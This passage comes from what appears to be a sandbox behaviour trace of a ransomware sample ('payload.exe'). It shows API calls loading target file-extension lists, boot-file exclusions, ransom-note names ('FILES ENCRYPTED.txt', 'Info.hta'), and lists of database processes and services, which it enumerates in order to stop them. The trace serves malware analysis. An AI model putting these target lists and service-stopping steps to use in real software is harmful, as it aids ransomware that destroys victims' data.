t;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0032.034] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d0068 | out: hHeap=0x880000) returned 1 [0032.034] lstrlenW (lpString="") returned 0 [0032.034] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d4ef8 | out: hHeap=0x880000) returned 1 [0032.034] lstrlenW (lpString=".gold") returned 5 [0032.034] lstrlenW (lpString=".gold") returned 5 [0032.034] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d4ef8 | out: hHeap=0x880000) returned 1 [0032.034] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d4f28, Size=0x20) returned 0x8b5988 [0032.034] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5988, Size=0x40) returned 0x8b6b18 [0032.034] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6b18, Size=0x80) returned 0x8db458 [0032.034] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba2e0, Size=0x8) returned 0x8ba2f0 [0032.034] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba2f0, Size=0x10) returned 0x8d4f28 [0032.034] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d4f28, Size=0x20) returned 0x8b59d8 [0032.034] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0032.034] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8db458 | out: hHeap=0x880000) returned 1 [0032.034] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d4f58, Size=0x20) returned 0x8b5a00 [0032.034] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5a00, Size=0x40) returned 0x8b6b18 [0032.034] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0032.034] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0032.034] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b6b18 | out: hHeap=0x880000) returned 1 [0032.034] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d4f58, Size=0x20) returned 0x8b5a00 [0032.034] lstrlenW (lpString="Info.hta") returned 8 [0032.034] lstrlenW (lpString="Info.hta") returned 8 [0032.034] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5a00 | out: hHeap=0x880000) returned 1 [0032.034] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8fd468, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe")) returned 0x31 [0032.034] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd468 | out: hHeap=0x880000) returned 1 [0032.034] lstrlenW (lpString="payload.exe") returned 11 [0032.034] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b59d8, Size=0x40) returned 0x8b6b18 [0032.034] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d4f58, Size=0x20) returned 0x8b59d8 [0032.034] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d4f58, Size=0x20) returned 0x8b5a00 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5a00, Size=0x40) returned 0x8b6b60 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6b60, Size=0x80) returned 0x8db458 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8db458, Size=0x100) returned 0x8d1088 [0032.035] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0032.035] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d1088 | out: hHeap=0x880000) returned 1 [0032.035] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x8fd468, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0032.035] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x90d470 | out: hHeap=0x880000) returned 1 [0032.035] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd468 | out: hHeap=0x880000) returned 1 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba2f0, Size=0x8) returned 0x8ba2e0 [0032.035] lstrlenW (lpString="%windir%;") returned 9 [0032.035] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b59d8 | out: hHeap=0x880000) returned 1 [0032.035] lstrlenW (lpString="C:\\Windows;") returned 11 [0032.035] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ed460 | out: hHeap=0x880000) returned 1 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d4f70, Size=0x20) returned 0x8b59d8 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b59d8, Size=0x40) returned 0x8b6b60 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6b60, Size=0x80) returned 0x8db458 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8db458, Size=0x100) returned 0x8d1088 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba320, Size=0x8) returned 0x8ba330 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba330, Size=0x10) returned 0x8d4fb8 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d4fb8, Size=0x20) returned 0x8b59d8 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba2f0, Size=0x8) returned 0x8ba330 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba300, Size=0x8) returned 0x8ba2f0 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba320, Size=0x8) returned 0x8ba340 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba340, Size=0x10) returned 0x8d5060 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d5060, Size=0x20) returned 0x8b5a00 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba330, Size=0x10) returned 0x8d5060 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba2f0, Size=0x10) returned 0x8d0098 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba330, Size=0x8) returned 0x8ba320 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba350, Size=0x8) returned 0x8ba360 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d5060, Size=0x20) returned 0x8b5a28 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0098, Size=0x20) returned 0x8b5a50 [0032.035] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba370, Size=0x8) returned 0x8ba380 [0032.035] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0032.035] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d1088 | out: hHeap=0x880000) returned 1 [0032.036] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0128, Size=0x20) returned 0x8b5aa0 [0032.036] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x8ed460, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0032.036] lstrlenW (lpString="C:\\") returned 3 [0032.036] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0032.036] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ed460 | out: hHeap=0x880000) returned 1 [0032.036] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d3088, Size=0x82) returned 0x8cbe90 [0032.036] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d30a8, Size=0x100) returned 0x8d1088 [0032.036] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cbe90, Size=0x104) returned 0x8d08f8 [0032.036] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d1088, Size=0x200) returned 0x8d5098 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d3098 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d5098 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d01d0 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8db678 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d0188 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8db5f0 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d01b8 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d08f8 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d01a0 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cbf20 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d01e8 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d0868 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d0200 | out: hHeap=0x880000) returned 1 [0032.037] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0200, Size=0x20) returned 0x8b5ac8 [0032.037] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5ac8, Size=0x40) returned 0x8b6b60 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ba390 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d0128 | out: hHeap=0x880000) returned 1 [0032.037] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cc3c0 | out: hHeap=0x880000) returned 1 [0032.038] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d0158 | out: hHeap=0x880000) returned 1 [0032.038] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8db568 | out: hHeap=0x880000) returned 1 [0032.038] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d0140 | out: hHeap=0x880000) returned 1 [0032.038] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ba3a0 | out: hHeap=0x880000) returned 1 [0032.038] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d0170 | out: hHeap=0x880000) returned 1 [0032.038] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cb568 | out: hHeap=0x880000) returned 1 [0032.038] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b6128 | out: hHeap=0x880000) returned 1 [0032.038] lstrlenW (lpString="%systemdrive%") returned 13 [0032.038] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5aa0 | out: hHeap=0x880000) returned 1 [0032.038] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8db458 | out: hHeap=0x880000) returned 1 [0032.038] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ba370 | out: hHeap=0x880000) returned 1 [0032.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x8dd440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0032.038] WaitForMultipleObjects (nCount=0x2, lpHandles=0x8b7c30*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x7a4 Thread: id = 4 os_tid = 0x260 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0170 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0170, Size=0x20) returned 0x8b5ac8 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5ac8, Size=0x40) returned 0x8b6ba8 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6ba8, Size=0x80) returned 0x8db458 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8db458, Size=0x100) returned 0x8d1088 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0170 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0170, Size=0x20) returned 0x8b5ac8 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5ac8, Size=0x40) returned 0x8b6ba8 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6ba8, Size=0x80) returned 0x8db458 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8db458, Size=0x100) returned 0x8d1190 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8d0170 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x8ba370 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0140 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba370, Size=0x8) returned 0x8ba3a0 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8b6148 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba3a0, Size=0x10) returned 0x8d0158 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x18) returned 0x8b6168 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1a) returned 0x8b5ac8 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0158, Size=0x20) returned 0x8b5af0 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1c) returned 0x8b5b18 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x16) returned 0x8b6188 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1a) returned 0x8b5b40 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8d0158 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x8ba3a0 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40) returned 0x8b6ba8 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba3a0, Size=0x8) returned 0x8ba370 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x3c) returned 0x8b6bf0 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba370, Size=0x10) returned 0x8d0128 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8b61a8 [0032.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x18) returned 0x8b61c8 [0032.225] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0128, Size=0x20) returned 0x8b5b68 [0032.226] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x24) returned 0x8cc3c0 [0032.226] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0032.226] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d1088 | out: hHeap=0x880000) returned 1 [0032.226] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0032.226] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d1190 | out: hHeap=0x880000) returned 1 [0032.226] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8b5c08 [0032.226] EnumServicesStatusExW (in: hSCManager=0x8b5c08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0032.226] GetLastError () returned 0xea [0032.226] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x8ee4a0 [0032.226] EnumServicesStatusExW (in: hSCManager=0x8b5c08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8ee4a0, cbBufSize=0x11e4, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8ee4a0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0032.227] CloseServiceHandle (hSCObject=0x8b5c08) returned 1 [0032.227] lstrlenW (lpString="Appinfo") returned 7 [0032.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0032.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0032.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0032.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0032.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0032.227] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0032.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0032.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0032.227] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0032.227] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0032.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0032.227] lstrlenW (lpString="AudioSrv") returned 8 [0032.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0032.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0032.227] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0032.227] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0032.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0032.227] lstrlenW (lpString="BFE") returned 3 [0032.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0032.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0032.227] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0032.227] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0032.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0032.227] lstrlenW (lpString="CryptSvc") returned 8 [0032.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0032.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0032.227] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0032.227] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0032.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0032.227] lstrlenW (lpString="CscService") returned 10 [0032.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0032.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0032.227] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0032.227] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0032.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0032.227] lstrlenW (lpString="DcomLaunch") returned 10 [0032.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0032.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0032.228] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0032.228] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0032.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0032.228] lstrlenW (lpString="Dhcp") returned 4 [0032.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0032.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0032.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0032.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0032.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0032.228] lstrlenW (lpString="Dnscache") returned 8 [0032.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0032.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0032.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0032.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0032.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0032.228] lstrlenW (lpString="DPS") returned 3 [0032.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0032.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0032.228] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0032.228] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0032.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0032.228] lstrlenW (lpString="eventlog") returned 8 [0032.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0032.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0032.228] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0032.228] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0032.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0032.228] lstrlenW (lpString="EventSystem") returned 11 [0032.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0032.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0032.228] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0032.228] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0032.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0032.228] lstrlenW (lpString="gpsvc") returned 5 [0032.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0032.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0032.228] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0032.228] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0032.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0032.228] lstrlenW (lpString="iphlpsvc") returned 8 [0032.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0032.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0032.228] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0032.228] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0032.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0032.228] lstrlenW (lpString="LanmanServer") returned 12 [0032.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0032.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0032.228] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0032.228] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0032.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0032.228] lstrlenW (lpString="LanmanWorkstation") returned 17 [0032.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0032.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0032.229] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0032.229] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0032.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0032.229] lstrlenW (lpString="lmhosts") returned 7 [0032.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0032.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0032.229] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0032.229] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0032.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0032.229] lstrlenW (lpString="MMCSS") returned 5 [0032.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0032.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0032.229] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0032.229] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0032.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0032.229] lstrlenW (lpString="MpsSvc") returned 6 [0032.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0032.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0032.229] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0032.229] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0032.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0032.229] lstrlenW (lpString="Netman") returned 6 [0032.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0032.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0032.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0032.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0032.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0032.229] lstrlenW (lpString="netprofm") returned 8 [0032.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0032.229] lstrcmpiW 